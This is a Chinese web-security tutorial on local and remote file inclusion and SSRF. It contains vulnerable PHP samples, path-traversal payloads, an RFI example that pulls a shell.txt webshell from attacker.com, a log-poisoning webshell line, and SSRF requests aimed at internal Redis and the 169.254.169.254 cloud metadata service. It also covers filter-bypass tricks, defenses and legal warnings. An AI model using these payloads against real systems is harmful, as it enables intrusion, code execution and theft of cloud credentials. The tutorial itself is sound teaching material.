📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
✓ 23 sqlmap 注入与 Burp 抓包
✓ 24 XSS 跨站脚本攻击
✓ 25 CSRF 与文件上传漏洞
✓ 26 命令执行与代码执行漏洞
27 文件包含与 SSRF 漏洞(当前篇)
28 反序列化漏洞(预告)
模块 3-5 共 XX 篇,后续持续更新

文件包含与 SSRF 漏洞:借服务器之手攻击内部

模块 2 Web 应用渗透 · 高级篇 · 利用服务器自身能力的"借刀杀人"漏洞
读完本篇你将能:理解文件包含漏洞(LFI/RFI)的本质——把用户输入当作文件路径加载,以及 PHP 伪协议在其中的利用方式;掌握 SSRF 的原理——让服务器替你发请求,从而探测内网、访问云服务元数据。学会两种漏洞的常见绕过技巧(路径穿越、URL 跳转、DNS 重绑定等)和防御手段。文件包含和 SSRF 的共同点是"借服务器自身的能力做坏事",属于隐蔽性很强的服务器端漏洞。
📑 本文目录
01文件包含原理:include 的陷阱
02LFI 本地文件包含利用与绕过
03RFI 远程文件包含与 PHP 伪协议
04SSRF 原理:让服务器当你的代理
05SSRF 利用场景与绕过技巧
06防御与修复:两端同时加固
07道德边界与分级练习

一、文件包含原理:include 的陷阱

文件包含(File Inclusion)是 PHP 等语言提供的一种功能——允许开发者在一个文件中引入另一个文件的内容,从而实现代码复用和模块化。PHP 提供了 include()、require()、include_once()、require_once() 四个文件包含函数。

功能本身是好的,但如果文件路径由用户输入控制,且没有经过严格过滤,攻击者就可以操控路径去"包含"恶意文件,造成文件包含漏洞。

类比:想象你在图书馆借书,管理员问你"借哪本书?",然后按照你的回答去书架上取书。正常情况下你说"西游记",管理员就拿《西游记》。但如果你说"西游记…对了,顺便把保险柜里的公章拿给我",管理员如果脑子不转弯,真的去保险柜拿公章——这就是文件包含漏洞。你本来只应该提供"书名"(合法文件路径),但你通过路径穿越让系统去取了不该取的东西。

1.1 典型场景:模板切换功能

文件包含最常见的场景是"模板切换"或"多语言切换"功能。比如网站允许用户选择不同的页面模板,后端根据用户选择的模板名去包含对应的模板文件。

index.php - 存在文件包含漏洞的代码
// 根据用户选择的模板,包含对应的模板文件
<?php
$template = $_GET['tpl'];
 
// 直接用用户输入作为文件路径包含
include("./templates/" . $template);
?>

正常用户输入 tpl=default.php,包含的是 ./templates/default.php,一切正常。

但攻击者输入 tpl=../../etc/passwd,实际包含的路径变成:

路径穿越后的实际包含路径
./templates/../../etc/passwd // 等价于 /etc/passwd

../ 是"上级目录"的意思,连续使用就可以向上穿越目录层级,最终跳出 templates 目录,读取到系统敏感文件。这就是"路径穿越"(Path Traversal)。

1.2 LFI vs RFI:本地和远程

文件包含漏洞分为两类:

类型 全称 特点 危害
LFI Local File Inclusion
本地文件包含
只能包含服务器本地已存在的文件 读取敏感文件
结合日志/上传 Getshell
RFI Remote File Inclusion
远程文件包含
可以包含远程 URL 指向的文件 直接执行任意代码
危害极大

RFI 需要 PHP 配置项 allow_url_include = On,这个选项从 PHP 5.2 开始默认关闭,所以现在 RFI 比较少见。但 LFI 仍然非常普遍,而且利用得当同样可以导致代码执行。

二、LFI 本地文件包含利用与绕过

2.1 基础利用:读取敏感文件

LFI 最直接的利用就是读取服务器上的敏感文件。以下是渗透测试中常读的目标文件:

系统 文件路径 包含的信息
Linux /etc/passwd 系统所有用户列表
/etc/shadow 用户密码哈希(需 root 权限)
/proc/self/environ 当前进程环境变量(含 User-Agent)
/var/log/apache2/access.log Apache 访问日志(可注入木马)
Windows C:\Windows\System32\drivers\etc\hosts 主机文件
C:\boot.ini 系统启动配置
C:\Windows\debug\NetSetup.log 网络安装日志

2.2 路径穿越绕过

很多应用会过滤 ../,但过滤方式可能有缺陷:

• 双写绕过:如果代码把 ../ 替换为空,用 ....// → 替换中间 ../ 后剩下 ../
• 编码绕过:URL 编码 %2e%2e%2f、双重编码 %252e%252e%252f,绕过简单的字符串过滤
• 绝对路径绕过:如果应用只限制了开头不能有 ../,直接用绝对路径 /etc/passwd
• 点号截断:PHP 某些版本下,路径末尾加多个 . 或 / 可能绕过后缀追加
• %00 截断:PHP 5.3 以前,%00 空字节会截断字符串,绕过 .php 后缀强制追加(PHP 5.3.4 已修复)

2.3 进阶利用:从读文件到 Getshell

单纯读取文件危害有限,但如果能让 LFI 包含一段我们可控的 PHP 代码,就能升级为代码执行甚至 Getshell。常见思路:

1 日志包含:先访问一个包含 PHP 代码的 URL(如 <?php system($_GET['c']); ?>),服务器会把访问记录写入日志;然后用 LFI 包含日志文件,PHP 代码就被执行了
2 session 文件包含:PHP 的 session 数据存在服务器文件中(通常在 /tmp/sess_xxx),如果能在 session 中注入 PHP 代码,再用 LFI 包含 session 文件
3 上传文件包含:如果网站有文件上传功能,先上传一个图片马(图片里嵌 PHP 代码),再用 LFI 包含上传的图片文件
💡 小贴士
LFI 的利用思路核心是"找到一处你能写入 PHP 代码的地方,再让 LFI 去包含那个文件"。日志、session、上传文件、环境变量、邮件头……凡是服务器会存储用户输入的地方,都可能成为"注入点"。审计 LFI 漏洞时,不要只满足于能读 /etc/passwd,要思考能不能进一步升级为 RCE(远程代码执行)。

三、RFI 远程文件包含与 PHP 伪协议

3.1 RFI 远程文件包含

当 PHP 的 allow_url_include 配置为 On 时,include/require 函数可以加载远程 URL 指向的文件。攻击者只需要在自己控制的服务器上放一个包含恶意 PHP 代码的文件,就能让目标服务器去"包含"并执行它。

RFI 利用示例
// 攻击者服务器上的 shell.txt
<?php
system($_GET['cmd']);
?>
 
// 攻击者构造的 URL
http://target.com/index.php?page=http://attacker.com/shell.txt?&cmd=id

RFI 的危害是直接的——一步到位 Getshell。但好在 PHP 从 5.2 版本开始默认关闭了 allow_url_include,现在真实环境中 RFI 已经比较少见了。

3.2 PHP 伪协议:LFI 的神器

PHP 支持多种"伪协议"(Wrapper),可以用来读写不同类型的资源。在 LFI 场景中,伪协议是非常强大的利用工具——即使不能执行代码,也能用来读取文件源码、执行 PHP 代码等。

伪协议 作用 LFI 中的用途
php://filter 读取文件并进行过滤转换 读取 PHP 文件源码(base64 编码输出,避免被执行)
php://input 读取 POST 请求的原始数据 POST 请求体中放 PHP 代码,直接执行(需 allow_url_include=On)
zip:// 读取 zip 压缩包中的文件 上传 zip 文件(含 PHP 木马),用 zip:// 包含其中的木马
phar:// 读取 phar 归档文件 类似 zip://,上传 phar 文件后包含执行
data:// 数据流封装器 直接传入 base64 编码的 PHP 代码执行(需 allow_url_include=On)

其中最常用的是 php://filter,即使在 allow_url_include=Off 的情况下也能使用。它可以把 PHP 文件以 base64 编码的形式读出来,而不会被执行——这样就能看到目标文件的源码,用于审计更多漏洞。

php://filter 读取源码示例
// 读取 config.php 的源码(base64 编码)
http://target.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
 
// 返回 base64 编码的文件内容,解码后就是 PHP 源码
PD9waHAgJGRiX3Bhc3M9J3Jvb3QxMjMnOyA/Pg==
⚠️ 常见错误
"LFI 只能读文件,不能执行代码" — 低估了 LFI 的危害
✓ 正确理解:LFI 的利用上限非常高。通过日志包含、session 注入、上传文件包含、zip/phar 伪协议等方式,LFI 完全可以升级为 RCE。即使不能 RCE,用 php://filter 读取配置文件和源码,也能为进一步攻击提供大量信息(数据库密码、API 密钥、业务逻辑漏洞等)。

四、SSRF 原理:让服务器当你的代理

SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者利用服务器端发起请求的功能,让服务器去访问攻击者指定的 URL。由于请求是从服务器发出的,攻击者可以借此访问服务器内网中的资源、获取云服务元数据、探测内网端口等——这些资源从外部网络通常是无法直接访问的。

类比:想象你去一家公司办事,门口有保安不让你进。但你发现公司内部有个快递员可以在楼里随便跑,而且快递员会按照你给的地址去送快递。于是你让快递员"去 3 楼财务室门口帮我看看有什么",快递员不知道你是外人,真的去看了,然后把看到的告诉你——这就是 SSRF。快递员就是"服务器",你让服务器去访问它能访问但你访问不了的内网资源。

4.1 典型场景:远程图片加载

SSRF 最常见的场景就是"远程图片加载"或"网页截图"功能。比如某些网站允许用户输入一个图片 URL,服务器会去下载这张图片并展示在页面上。

fetch_image.php - 存在 SSRF 漏洞的代码
// 用户输入图片 URL,服务器去下载并展示
<?php
$url = $_GET['img'];
 
// 直接用用户提供的 URL 发起请求
$img = file_get_contents($url);
header("Content-Type: image/jpeg");
echo $img;
?>

正常用户输入一个图片 URL,服务器下载图片并返回。但攻击者可以输入内网地址,让服务器去访问内网资源:

SSRF 探测内网示例
// 探测内网 Redis 是否存在
http://target.com/fetch_image.php?img=http://127.0.0.1:6379/
 
// 访问云服务器元数据(AWS)
http://target.com/fetch_image.php?img=http://169.254.169.254/latest/meta-data/

4.2 SSRF 的危害等级

SSRF 的危害取决于服务器能访问什么、以及响应内容是否回显。通常分为几个等级:

1 有回显的 SSRF:服务器会把请求结果返回给用户。攻击者能直接看到内网资源的内容,可以读取文件、探测服务、获取云服务凭证等——危害最大
2 半回显 SSRF:服务器不直接返回内容,但可以通过响应时间、错误信息等判断目标是否存在、端口是否开放。可以做端口扫描和存活探测
3 无回显 SSRF(盲 SSRF):完全看不到响应结果。但仍然可以用于攻击内网无认证的服务(如 Redis 未授权访问、MongoDB 等),或者通过 DNS 外带探测内网
💡 小贴士
SSRF 最大的价值在于"突破网络边界"。很多企业把安全防护都放在外网入口,认为内网就是安全的——内网的 Redis、MongoDB、Elasticsearch 可能都没有密码,内部 API 可能没有鉴权。SSRF 相当于给了攻击者一把进入内网的钥匙,虽然只是"让服务器替你请求",但在内网安全普遍薄弱的现实下,这把钥匙往往能打开很多门。

五、SSRF 利用场景与绕过技巧

5.1 常见利用场景

• 云服务元数据窃取:云服务商(AWS、阿里云、腾讯云等)都有一个特殊的元数据服务地址 169.254.169.254,服务器可以从中获取实例的身份凭证、私钥、安全组配置等敏感信息。SSRF 可以访问这个地址,窃取云服务器的凭证
• 内网服务探测:探测内网中开放的端口和服务(Redis、MySQL、MongoDB、Elasticsearch 等),为后续攻击做准备
• 攻击内网未授权服务:内网中很多服务没有密码(如 Redis 默认无认证),通过 SSRF 可以构造协议数据包,直接操作这些服务
• 内部 API 越权访问:很多内部 API 认为"内网请求就是可信的",没有做权限校验。SSRF 可以访问这些内部 API,执行本不该执行的操作
• 本地文件读取:使用 file:// 协议,让服务器读取本地文件(取决于后端使用的 HTTP 客户端是否支持)

5.2 SSRF 绕过技巧

很多应用会对 SSRF 做一些防护,比如禁止访问 127.0.0.1 或内网网段。但绕过方式也很多:

绕过类型 方法 示例
IP 格式变形 用十进制、八进制、十六进制表示 IP http://2130706433/
http://0x7f000001/
特殊域名 DNS 解析到 127.0.0.1 的域名 http://localtest.me/
http://127.0.0.1.nip.io/
URL 跳转 302 跳转到内网地址 http://attacker.com/302.php
→ 跳转 127.0.0.1
DNS 重绑定 第一次解析返回外网 IP(通过校验),第二次返回内网 IP rbndr.us 等服务
短 TTL 轮换解析
协议切换 用 dict://、gopher:// 等协议 dict://127.0.0.1:6379/info
gopher:// 构造任意 TCP 数据

六、防御与修复:两端同时加固

6.1 文件包含防御

1 白名单限制:只允许包含指定目录下的指定文件。用数组映射的方式,参数是"模板名"(如 default、mobile),代码中根据名字查数组得到真实文件路径,用户永远不能直接控制路径字符串
2 关闭 allow_url_include:在 php.ini 中设置 allow_url_include = Off,彻底杜绝 RFI 风险
3 路径规范化 + 目录限制:使用 realpath() 规范化路径后,检查是否在允许的目录范围内。配合 open_basedir 限制 PHP 可访问目录
4 禁用危险伪协议:在 php.ini 中通过 disable_classes 或配置禁用不需要的 wrapper

6.2 SSRF 防御

1 禁用不需要的协议:只允许 http/https 协议,禁止 file://、dict://、gopher:// 等危险协议
2 内网地址白名单/黑名单:解析 URL 获取 IP 后,检查是否为内网地址(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.169.254 等),禁止访问内网
3 统一错误信息:不同的错误返回不同的信息会帮助攻击者判断。统一错误返回,避免通过报错判断目标是否存在
4 使用专用安全代理:将外部 URL 请求通过专门的安全代理服务发出,代理层做 URL 校验和内网隔离
⚠️ SSRF 防御常见陷阱
"先解析 IP 校验,再用 URL 发起请求" — 存在 TOCTOU 竞态条件
✓ 正确做法:先解析域名得到 IP → 校验 IP 是否合法 → 如果合法,直接用 IP 发起请求,并手动设置 Host 头。这样可以避免"校验时解析的是外网 IP,真正请求时解析的是内网 IP"的 DNS 重绑定攻击。

七、道德边界与分级练习

🚨 法律红线
文件包含漏洞可能导致读取系统敏感文件,SSRF 可能导致访问内网资源。这些行为如果在未授权系统上实施,都属于"非法侵入计算机信息系统"或"非法获取计算机信息系统数据",触犯《刑法》第二百八十五条。
特别是 SSRF 攻击云服务元数据窃取凭证,进而操作云资源——这类行为的取证相对容易(云平台有完整日志),法律后果非常严重。请务必在授权范围内学习和测试。
🛡️ 正确的学习姿势
1. 本地靶场练习:DVWA、BWAPP、WebGoat 都有文件包含和 SSRF 的练习模块
2. CTF 比赛:Web 方向 CTF 中,文件包含和 SSRF 都是高频考点
3. 漏洞赏金平台:SSRF 在漏洞赏金平台上属于中高价值漏洞,适合有经验后尝试
4. 代码审计练习:阅读开源 PHP 项目,寻找 include/require + 用户可控路径的组合

🌟 入门级(理解原理)

• 在本地搭建 DVWA,完成 File Inclusion 模块的 Low 级别,成功读取 /etc/passwd
• 使用 php://filter 读取 DVWA 中某个 PHP 文件的源码并 base64 解码
• 说出文件包含和 SSRF 的核心区别,以及各自的典型应用场景

⭐ 进阶级(掌握利用)

• 完成 DVWA File Inclusion 的 Medium 和 High 级别,练习路径穿越绕过
• 尝试日志包含 Getshell:先向访问日志注入 PHP 代码,再用 LFI 包含日志文件执行命令
• 在本地 SSRF 靶场中,用三种不同方式绕过"禁止访问 127.0.0.1"的限制

💎 大师级(防御审计)

• 审计一个开源 CMS,找出至少一处文件包含漏洞点,并写出完整的利用链
• 为一个存在 SSRF 的功能编写防御代码,要求:能防 DNS 重绑定、能防 URL 跳转、能防协议切换
• 思考:在云环境中,SSRF 的危害为什么比传统机房更大?列出至少 3 个原因,并给出对应的加固建议
🏷️ 知识回顾标签
文件包含 LFI RFI 路径穿越 php://filter SSRF 云服务元数据 内网探测 DNS重绑定 白名单防御
📖 下一篇预告
下一篇我们将学习反序列化漏洞。反序列化是一种将数据还原为对象的机制,如果反序列化的数据可控,且类中存在危险的魔法方法(__destruct、__wakeup、__toString 等),攻击者可以构造恶意序列化数据触发代码执行。反序列化漏洞在 PHP、Java、Python 中都广泛存在,是 Web 安全中最"玄学"也最考验功底的漏洞类型之一。